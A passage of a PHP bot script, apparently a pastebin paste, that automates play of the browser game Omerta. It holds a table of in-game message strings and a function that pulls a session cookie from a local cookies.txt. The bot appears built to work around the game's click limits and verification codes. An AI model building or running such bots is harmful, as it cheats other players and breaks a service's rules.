  4483.             $vers['text']["You don't have enough"] = "You don't have enough";
  4484.                 //Booze/Blood not enuf cash err message
  4485.             $vers['text']['You are in jail for the next'] = 'You are in jail for the next'; //In jail msg
  4486.             $vers['text']['Sorry, you can only buy blood once every 45 minutes.'] =
  4487.                 'Sorry, you can only buy blood once every 45 minutes.'; //Blood early error msg
  4488.             $vers['text']['bought'] = 'bought'; //blood
  4489.  
  4490.             //buyBullets
  4491.             $vers['text']["You've got"] = "You've got $"; //bullet page
  4492.             $vers['text']['in your pocket'] = ' in your pocket'; //requires beginning space
  4493.             $vers['text']["You don't have"] = "You don't have";
  4494.             $vers['text']['This factory does'] = "This factory does"; //Factory outta bullets after purchase attempt
  4495.             $vers['text']['The price per bullet just'] = 'The price per bullet just';
  4496.             $vers['text']['Success, you bought '] = 'Success, you bought '; //requires end space
  4497.             $vers['text']['The code you verified'] = 'The code you verified'; //Bullet wrong code err msg
  4498.  
  4499.             //buyCocaine
  4500.             $vers['text']['units of narcotics'] = ' units of narcotics'; //requires beginning space
  4501.             $vers['text']['Cocaine'] = "Cocaine";
  4502.  
  4503.             //buyGun
  4504.             $vers['text']['You have a weapon'] = 'You have a weapon';
  4505.  
  4506.             //carNick
  4507.             $vers['text']['tired'] = "tired"; //Too early error msg
  4508.  
  4509.             //checkGambling
  4510.             $vers['text']['Gambling District'] = "Gambling District";
  4511.  
  4512.             //checkRoul
  4513.             $vers['text']['even'] = "Even";
  4514.             $vers['text']['red'] = "Red";
  4515.             $vers['text']['black'] = "Black";
  4516.             $vers['text']['odd'] = "Odd";
  4517.             $vers['text']['Gamble'] = "Gamble";
  4518.  
  4519.             //clicklimitCheck
  4520.             $vers['text']['clicklimit'] = "clicklimit."; //requires period '.'
  4521.  
  4522.             //crime
  4523.             $vers['text']['made'] = 'made';
  4524.             $vers['text']['done'] = 'done'; //From Well done! on successful bottle
  4525.             $vers['text']['foot'] = 'foot'; //Shot foot
  4526.  
  4527.             //doBust
  4528.             $vers['text']["You are not"] = "You are not"; //You are not in jail, during busting
  4529.             $vers['text']["freed"] = "freed"; //on already busted person
  4530.             $vers['text']["You busted"] = "You busted"; //on successful jail bust
  4531.  
  4532.             //doRange
  4533.             $vers['text']['Come back in'] = 'Come back in'; //Too early for range msg
  4534.             $vers['text']['owe me'] = 'owe me $';
  4535.             $vers['text']['Kill Skill'] = 'Kill Skill'; //on successful shoot
  4536.             $vers['text']['You have gained'] = 'You have gained '; //ending space necessary
  4537.  
  4538.             //doSelfBust
  4539.             $vers['text']['Click here to buy yourself out for $ '] =
  4540.                 'Click here to buy yourself out for $ '; //end space neessary
  4541.             $vers['text']['Try it'] = 'Try it'; //from injail  page
  4542.  
  4543.             //gambleRoul
  4544.             $vers['text']['Maximum Bet on numbers'] = 'Maximum Bet on numbers:'; //roulette page
  4545.             $vers['text']['got enough cash to do this'] = 'got enough cash to do this'; //Not enuf cash
  4546.             $vers['text']['You can only gamble for'] = 'You can only gamble for'; //max bet
  4547.  
  4548.  
  4549.             //getBulletAmmount
  4550.             $vers['text']['There are'] = 'There are ';
  4551.                 //There are ## bullets in factory, end space required
  4552.  
  4553.             //getTimers (status page)
  4554.             $vers['text']['Next crime attempt'] = 'Next crime attempt';
  4555.             $vers['text']['Next car attempt'] = 'Next car attempt';
  4556.             $vers['text']['Next heist'] = 'Next heist';
  4557.             $vers['text']['Next flight'] = 'Next flight';
  4558.             $vers['text']['Next bullet deal'] = 'Next bullet deal';
  4559.  
  4560.             //getinbox
  4561.             $vers['text']['Bustout'] = 'Bustout!'; //exclaimation point '!' required
  4562.             $vers['text']['Bailed'] = 'Bailed!'; //exclaimation point '!' required
  4563.  
  4564.             //parseHealth (Status page)
  4565.             $vers['text']['Rank progress'] = 'Rank progress';
  4566.             $vers['text']['Killing skill'] = 'Killing skill';
  4567.  
  4568.             //parseNickResults
  4569.             $vers['text']['Success'] = 'Success: you stole a';
  4570.             $vers['text']['with'] = 'with'; //with %% damage
  4571.             $vers['text']['worth'] = 'worth'; //worth $ ##,###
  4572.  
  4573.             //parseStatus
  4574.             $vers['text']['now'] = 'now'; //lowercase
  4575.             $vers['text']['Now'] = 'Now'; //proper case
  4576.             $vers['text']['gress'] = 'gress'; //last part of the word progress in 'rank progress'
  4577.             $vers['text']['health'] = 'health'; //must be lowercase
  4578.             $vers['text']['rank'] = 'rank'; //must be lowercase
  4579.             $vers['text']['Cash'] = 'Cash';
  4580.             $vers['text']['Jailbusting Skill'] = 'Jailbusting Skill';
  4581.             $vers['text']['Family'] = 'Family';
  4582.             $vers['text']['Capo'] = 'Capo';
  4583.             $vers['text']['Level'] = 'Level'; //From user level ie. Donater
  4584.             $vers['text']['Start'] = 'Start'; //From start date
  4585.             $vers['text']['Plane'] = 'Plane';
  4586.             $vers['text']['None'] = 'None';
  4587.             $vers['text']['Nextflight'] = 'Nextflight'; //No space
  4588.             $vers['text']['Booze'] = 'Booze'; //replybo
  4589.                 $vers['text']['Delete'] = "Delete"; //this is an alttext viewable in page source
  4590.             $vers['text']['Message'] = 'Message';
  4591.  
  4592.             //sellBooze
  4593.             $vers['text']['Wine'] = 'Wine';
  4594.             $vers['text']['Cognac'] = 'Cognac';
  4595.             $vers['text']['Whiskey'] = 'Whiskey';
  4596.             $vers['text']['Amaretto'] = 'Amaretto';
  4597.             $vers['text']['Beer'] = 'Beer';
  4598.             $vers['text']['Port'] = 'Port';
  4599.             $vers['text']['Rum'] = 'Rum';
  4600.  
  4601.             //sellStuff
  4602.             $vers['text']['Morphine'] = 'Morphine';
  4603.             $vers['text']['Heroin'] = 'Heroin';
  4604.             $vers['text']['Opium'] = 'Opium';
  4605.             $vers['text']['Marihuana'] = 'Marihuana';
  4606.             $vers['text']['Tabacco'] = 'Tabacco';
  4607.             $vers['text']['Glue'] = 'Glue';
  4608.  
  4609.             //stillLoggedIn
  4610.             $vers['text']['loginCheck'] =
  4611.                 "Omerta is a text-based massive multiplayer RPG game, based on the stories about the legendary don Barafranca";
  4612.             //Above is some text from the login page
  4613.  
  4614.             //verifyReplyBo (Send Message Page)
  4615.             $vers['text']['Send'] = 'Send'; //button text
  4616.             break;
  4617.             default:
  4618.                 output("Unknown version $version", "error");
  4619.             break;
  4620.  
  4621.     }
  4622.  
  4623. }
  4624.  
  4625. function forceCookies() {
  4626.     global $curl, $vers, $settings;
  4627.     curl_close($curl);
  4628.     $curl = curl_init();
  4629.     $cont = str_replace('# Netscape HTTP Cookie File
  4630. # http://curlm.haxx.se/rfc/cookie_spec.html
  4631. # This file was generated by libcurl! Edit at your own risk.
  4632.  
  4633. ','',file_get_contents('cookies.txt'));
  4634.     $ck = array();
  4635.     $cookies = explode("\n",$cont);
  4636.     foreach($cookies as $cook){
  4637.         //output($cook);
  4638.        
  4639.         $values=explode("   ", $cook); 
  4640.         $count = count($values);
  4641.         if($values[0]==str_replace('http://','',$vers['omertaURL_NS'])) {
  4642.             $ck[$values[$count-2]] = $values[$count-1];
  4643.         }  
  4644.     }
  4645.     write2file('phpsess.txt',$vers['omertaURL_NS'].'`'.$ck['PHPSESSID']);
  4646. }
  4647. ?>
  4648.  
Add Comment
Please, Sign In to add comment